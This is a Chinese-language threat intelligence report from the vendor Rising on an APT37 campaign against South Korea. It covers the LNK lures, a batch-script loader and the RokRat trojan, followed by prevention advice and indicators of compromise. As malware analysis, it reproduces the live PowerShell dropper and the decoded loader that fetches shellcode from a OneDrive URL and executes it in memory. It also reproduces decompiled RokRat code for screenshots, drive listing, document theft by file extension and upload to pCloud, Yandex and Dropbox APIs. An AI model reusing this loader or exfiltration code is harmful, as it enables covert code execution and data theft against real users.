2023年7月：APT37组织近期针对韩国的攻击事件报告

概述

  瑞星威胁情报平台捕获到一起针对韩国的攻击事件。攻击者通过邮件发送给受害者压缩包。压缩包解压之后是一个50M的快捷方式文件，当用户双击快捷方式后会执行PowerShell命令，在Temp目录之下释放一个HWP文件和一个以固定日期命名的bat脚本文件，该脚本会启用PowerShell.exe从api.onedrive.com上下载RokRat木马加载到内存中执行，据国内外多家安全厂商披露，该木马疑似是APT37常用的攻击武器，通过将本次攻击行动感染链与APT37组织过往感染链的对比分析，将本次捕获到的攻击行动归属于APT37组织具有高可信度。

  APT37是朝鲜国家资助的网络间谍组织，该黑客组织也称为ScarCruft，Reaper，RedEye、Ricochet Chollima。从2012年活跃开始，攻击目标主要是韩国的公共组织和私有企业。2017年，APT37将攻击目标的范围扩大到日本、越南、中东等地的垂直行业，包括化学、电子、制造业、航空工业、汽车和医疗业。

ATT&CK 矩阵

攻击事件详情

  第一份诱饵文档是以美国与韩国在四月下旬发表的《华盛顿宣言》为背景，韩国的Jeong Seongjang撰写的文章。

  第二份诱饵文档是在首尔空军酒店举办会议的活动日历表，内容包括演讲的时间、顺序以及人员(韩国的重要官员和著名学者)。

攻击流程

样本分析

1. 初始文档：워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.LNK

  攻击者疑似通过电子邮件投递一个含有快捷方式的压缩包，该快捷方式大小有50MB，里面内置了PowerShell命令，当用户双击快捷方式文件时，会执行PowerShell命令，在Temp目录下释放诱饵文档워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.hwp，同时释放一个名为230509.bat的脚本。下面是PowerShell代码：

$dirPath = Get-Location; 
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') 
  {
    $dirPath = 'C:\Users\Admin\AppData\Local\Temp'
  }; 
$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eq 0x00032CA73D} ^| Select-Object -ExpandProperty FullName; 
$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00062888 -ReadCount 00062888; 
$pdfPath = 'C:\Users\Admin\AppData\Local\Temp\워싱턴선언, 북핵 위협 대응에 얼마나 도움이 될까.hwp'; 
sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 004008)) -Encoding Byte; ^& $pdfPath; 
$exeFile = gc $lnkpath -Encoding Byte -TotalCount 00066145 -ReadCount 00066145; 
$exePath = 'C:\Users\Admin\AppData\Local\Temp\230509.bat'; 
sc $exePath ([byte[]]($exeFile ^| select -Skip 00062888)) -Encoding Byte; ^& $exePath;

2. bat脚本：230509.bat

  脚本会从api.onedrive.com上下载ShellCode,使用GlobalAlloc在PowerShell进程中申请一段空间，将下载的数据与第一个字节进行异或操作，并将结果写入内存，然后创建一个线程执行ShellCode。

脚本处理前：

start /min c:\\Windows\\SysWOW64\\cmd.exe /c powershell -windowstyle hidden -command "$pull ="
$saint="""5B4E65742E53657276696365506F696E744D616E616765725D3A3A536563757269747950726F746F636F6C3D5B456E756D5D3A3A546F4F626A65637428    5B4E65742E536563757269747950726F746F636F6C547970655D2C2033303732293B2461613D275B446C6C496D706F727428226B65726E656C33322E64         6C6C22295D7075626C6963207374617469632065787465726E20496E7450747220476C6F62616C416C6C6F632875696E7420622C75696E742063293B27           3B24623D4164642D54797065202D4D656D626572446566696E6974696F6E20246161202D4E616D6520224141412220202D50617373546872753B246162      6162203D20275B446C6C496D706F727428226B65726E656C33322E646C6C22295D7075626C6963207374617469632065787465726E20626F6F6C205669          727475616C50726F7465637428496E7450747220612C75696E7420622C75696E7420632C6F757420496E745074722064293B273B246161623D4164642D          54797065202D4D656D626572446566696E6974696F6E202461626162202D4E616D65202241414222202D50617373546872753B2463203D204E65772D4F          626A6563742053797374656D2E4E65742E576562436C69656E743B24643D2268747470733A2F2F6170692E6F6E6564726976652E636F6D2F76312E302F      7368617265732F75216148523063484D364C7938785A484A324C6D317A4C326B7663794642614668465745784B5530354E5546526D5457646F5A457875      646D397A645545786348635F5A54317363556F776557552F726F6F742F636F6E74656E74223B2462623D275B446C6C496D706F727428226B65726E656C          33322E646C6C22295D7075626C6963207374617469632065787465726E20496E745074722043726561746554687265616428496E7450747220612C7569          6E7420622C496E7450747220632C496E7450747220642C75696E7420652C496E745074722066293B273B246363633D4164642D54797065202D4D656D62      6572446566696E6974696F6E20246262202D4E616D65202242424222202D50617373546872753B246464643D275B446C6C496D706F727428226B65726E      656C33322E646C6C22295D7075626C6963207374617469632065787465726E20496E745074722057616974466F7253696E676C654F626A65637428496E          7450747220612C75696E742062293B273B246666663D4164642D54797065202D4D656D626572446566696E6974696F6E2024646464202D4E616D652022          44444422202D50617373546872753B24653D3131323B646F207B2020747279207B2024632E486561646572735B22757365722D6167656E74225D203D20          22636F6E6E6E656374696E672E2E2E223B24786D7077343D24632E446F776E6C6F616444617461282464293B247830203D2024623A3A476C6F62616C41          6C6C6F63283078303034302C2024786D7077342E4C656E6774682B3078313030293B246F6C64203D20303B246161623A3A5669727475616C50726F7465          6374282478302C2024786D7077342E4C656E6774682B30783130302C20307834302C205B7265665D246F6C64293B666F7220282468203D20313B246820          2D6C742024786D7077342E4C656E6774683B24682B2B29207B5B53797374656D2E52756E74696D652E496E7465726F7053657276696365732E4D617273          68616C5D3A3A577269746542797465282478302C2024682D312C202824786D7077345B24685D202D62786F722024786D7077345B305D2920293B7D3B74          72797B7468726F7720313B7D63617463687B2468616E646C653D246363633A3A43726561746554687265616428302C302C2478302C302C302C30293B24         6666663A3A57616974466F7253696E676C654F626A656374282468616E646C652C203530302A31303030293B7D3B24653D3232323B7D63617463687B736C6565702031313B24653D3131323B7D7D7768696C65282465202D657120313132293B""";
$moni="""""";
for($i=0;$i -le $saint.Length-2;$i=$i+2)
  {
    $POLL=$saint[$i]+$saint[$i+1];
    $moni= $moni+[char]([convert]::toint16($POLL,16));
  };
Invoke-Command -ScriptBlock ([Scriptblock]::Create($moni));
";Invoke-Command -ScriptBlock ([Scriptblock]::Create($pull));while($true){};"

处理后：

$pull ="
$saint=[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);
$aa='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b=Add-Type -MemberDefinition $aa -Name "AAA"  -PassThru;
$abab = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;$c = New-Object System.Net.WebClient;
$d="hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRmTWdoZExudm9zdUExcHc_ZT1scUoweWU/root/content";
$bb='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru;$ddd='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru;$e=112;
do 
  { 
    try 
    {
      $c.Headers["user-agent"] = "connnecting...";$xmpw4=$c.DownloadData($d);$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);$old = 0;
      $aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old);
      for ($h = 1;$h -lt $xmpw4.Length;$h++) 
      {
        [System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]) );
      };
      try 
      {
        throw 1;
      } 
      catch
      {
        $handle=$ccc::CreateThread(0,0,$x0,0,0,0);$fff::WaitForSingleObject($handle, 500*1000);
      };
      $e=222;
    }
    catch
    {
      sleep 11;$e=112;
    }
  }while($e -eq 112);
$moni="""""";
for($i=0;$i -le $saint.Length-2;$i=$i+2)
  {
    $POLL=$saint[$i]+$saint[$i+1];
    $moni= $moni+[char]([convert]::toint16($POLL,16));
  };
Invoke-Command -ScriptBlock ([Scriptblock]::Create($moni));
";Invoke-Command -ScriptBlock ([Scriptblock]::Create($pull));while($true){};

3. RokRat木马

3.1 获取信息

  获取用户名，机器名，主板信息

memset(v50, 0, 0x11Cu);
ModuleHandleA = GetModuleHandleA("ntdll");
RtlGetVersion = GetProcAddress(ModuleHandleA, "RtlGetVersion");
if ( RtlGetVersion )
  {
    v50[0] = 284;
    ((void (__stdcall *)(int *))RtlGetVersion)(v50);
  }
byte_4D1CE8 = 48;
byte_4D206A = 48;
sub_40BCFA((int)&unk_4D1CC8, (int)"%d.%d.%d", v50[1]);
byte_4D2120 = 48;
v10 = sub_40E5B1();
v11 = byte_4D1CE8;
nSize = 64;
if ( v10 )
  v11 = 49;
byte_4D1CE8 = v11;
GetComputerNameW(&word_4D1CEA, &nSize);
nSize = 64;
GetUserNameW(&word_4D1D6A, &nSize);
GetModuleFileNameW(0, &Filename, 0xFFu);
// 主板信息
sub_40E707(byte_4D1FEA);                     

  创建线程，对屏幕进行截图，保存在tmp文件中。

memset(&v10[1], 0, 12);
v10[0] = 1;
GdiplusStartup(&v14, v10, 0);
GetTempPathW(0x12Cu, &Buffer);
SetProcessDPIAware();
SystemMetrics = GetSystemMetrics(0);
v1 = GetSystemMetrics(1);
cy = v1;
*(_DWORD *)(a1 + 4) = *(_DWORD *)a1;
v11 = 0;
v12 = 0;
v13 = 0;
CompatibleDC = CreateCompatibleDC(0);
v9 = SystemMetrics;
DC = GetDC(0);
CompatibleBitmap = CreateCompatibleBitmap(DC, v9, v1);
SelectObject(CompatibleDC, CompatibleBitmap);
v5 = GetDC(0);
BitBlt(CompatibleDC, 0, 0, SystemMetrics, cy, v5, 0, 0, 0xCC0020u);
v7 = sub_40DE36(v6, &v11);
DeleteObject(CompatibleBitmap);
LOBYTE(cy) = 0;
Src = v7;
sub_40DB36((int)&v11, v11, &Src, (unsigned int)&SystemMetrics, cy);
LOBYTE(cy) = 0;
sub_40E0B4(*(void **)(a1 + 4), v11, v12, cy);
sub_40C585((int)&v11);
GdiplusShutdown(v14);
return *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;

  把获取到的用户信息上传到hxxps://api.pcloud.com/listfolder?path=%s，若此服务器访问不了，则会把信息上传到备用服务器cloudyandex(hxxps://cloud-api.yandex.net/v1/disk/resources?path=%s&limit=500)和
ropboxapi(hxxps://api.dropboxapi.com/2/files/list_folder)

v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initilaize_dropboxapi_414C60(a2, a3, v20, v21, v22, (int)v23, v24, v25);

v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initilaize_pcloud_414E30(a2, a3, v20, v21, v22, (int)v23, v24, v25);

v29 = &v20;
std::wstring::wstring(v30);
LOBYTE(v33) = 1;
v10 = Initliaize_cloudyandex_415000(a2, a3, v20, v21, v22, (int)v23, v24, v25);

  获取进程列表的信息，查看是否有360Tray.exe进程运行，如果有则不执行后续的代码

// 查看是否有360Tray.exe
while ( Process32NextW(Toolhelp32Snapshot, &pe) )
  {
    _wcsicmp(pe.szExeFile, L"360Tray.exe");
    v12[0] = 0;
    v4 = OpenProcess(0x410u, 0, pe.th32ProcessID);
    if ( v4 && EnumProcessModules(v4, &v19, 4, v15) )
      GetModuleFileNameExW(v4, v19, v12, 512);
    sub_40BCCA((int)&v10, (int)v13, L"\r\n", pe.th32ProcessID, pe.szExeFile, v12, L"\r\n");
    v5 = wcslen(lpBuffer);
    v6 = &v10;
    do
      v7 = *v6++;
    while ( v7 != (_WORD)v17 );
    if ( (((char *)v6 - (char *)&v11) >> 1) + v5 > 0x10000 )
      break;
    wcscat(lpBuffer, &v10);
    Toolhelp32Snapshot = v16;
  }

3.2 执行从服务器获取的命令

  指令d和f是执行清理痕迹脚本：清理注册表自启动的数据

reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v OfficeBootPower /f & 
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v OfficeBootPower/

  指令h会获取磁盘的信息，保存到tmp文件中(执行命令：dir /A /S %s >> \"%%temp%%/%c_.TMP\"),然后把tmp文件上传到hxxps://api.pcloud.com/listfolder?path=%s

memset(Buffer, 0, 0x104u);
v0 = GetLogicalDriveStringsA(0x104u, Buffer) - 1;
if ( v0 <= 0x103 )
  {
    for ( i = Buffer; *i; i += strlen(i) + 1 )
    {
      DriveTypeA = GetDriveTypeA(i);
      if ( DriveTypeA == 3 || DriveTypeA == 2 || DriveTypeA == 4 )
      {
        sub_40BCFA(v10, "dir /A /S %s >> \"%%temp%%/%c_.TMP\"", i);
        v9 = v3;
        std::string::string(v10);
        sub_40C110(0, v9);
        TempPathW = GetTempPathW(0x100u, FileName);
        FileName[TempPathW] = *i;
        FileName[TempPathW + 1] = 0;
        v5 = &v11;
        do
        {
          v6 = v5[1];
          ++v5;
        }
        while ( v6 );
        *(_DWORD *)v5 = *(_DWORD *)L"_.TMP";
        v7 = v5 + 2;
        *v7 = *(_DWORD *)L"TMP";
        v7[1] = *(_DWORD *)L"P";
        sub_4112C6(FileName);
        DeleteFileW(FileName);
      }
    }
  }

  指令c: 上传遍历的文件到hxxps://api.pcloud.com/listfolder?path=%s（Normal：上传文件后缀为.XLS .DOC .PPT .TXT .M4A .AMR .PDF .HWP的文件；All：上传指定文件夹内所有文件）

v46[0] = *(_DWORD *)L".XLS";
v46[1] = *(_DWORD *)L"LS";
LOWORD(v46[2]) = aXls[4];
v46[5] = *(_DWORD *)L".DOC";
v46[6] = *(_DWORD *)L"OC";
LOWORD(v46[7]) = aDoc[4];
v46[10] = *(_DWORD *)L".PPT";
v46[11] = *(_DWORD *)L"PT";
LOWORD(v46[12]) = aPpt[4];
v46[15] = *(_DWORD *)L".TXT";
v46[16] = *(_DWORD *)L"XT";
LOWORD(v46[17]) = aTxt[4];
v46[20] = *(_DWORD *)L".M4A";
v46[21] = *(_DWORD *)L"4A";
LOWORD(v46[22]) = aM4a[4];
v46[25] = *(_DWORD *)L".AMR";
v46[26] = *(_DWORD *)L"MR";
LOWORD(v46[27]) = aAmr[4];
v46[30] = *(_DWORD *)L".PDF";
v46[31] = *(_DWORD *)L"DF";
LOWORD(v46[32]) = aPdf[4];
v46[35] = *(_DWORD *)L".HWP";
v46[36] = *(_DWORD *)L"WP";

  指令功能列表如下：

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征，针对的目标都是具有重大信息资产，如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等，国内相关政府机构和企业单位务必要引起重视，加强防御措施。

预防措施

1. 不打开可疑文件。

   不打开未知来源的可疑的文件和邮件，防止社会工程学和钓鱼攻击。

2. 部署网络安全态势感知、预警系统等网关安全产品。

   网关安全产品可利用威胁情报追溯威胁行为轨迹，帮助用户进行威胁行为分析、定位威胁源和目的，追溯攻击的手段和路径，从源头解决网络威胁，最大范围内发现被攻击的节点，帮助企业更快响应和处理。

3. 安装有效的杀毒软件，拦截查杀恶意文档和木马病毒。

   杀毒软件可拦截恶意文档和木马病毒，如果用户不小心下载了恶意文件，杀毒软件可拦截查杀，阻止病毒运行，保护用户的终端安全。

   瑞星ESM目前已经可以检出此次攻击事件的相关样本。

4. 及时修补系统补丁和重要软件的补丁。

沦陷信标（IOC）

• MD5

  445e7fd6bb684420d6b8523fe0c55228 
  2e0b68286c2673b12406c98c4c13b739
  278184b974d5232934ebf3f9ca9be5c8

• URL

  hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRmTWdoZExudm9zdUExcHc_ZT1scUoweWU/root/content

• 瑞星病毒名

  Backdoor.[APT37]RokRAT!1.D113

参考链接

• https://blog.talosintelligence.com/introducing-rokrat/
• https://www.malwarebytes.com/blog/news/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat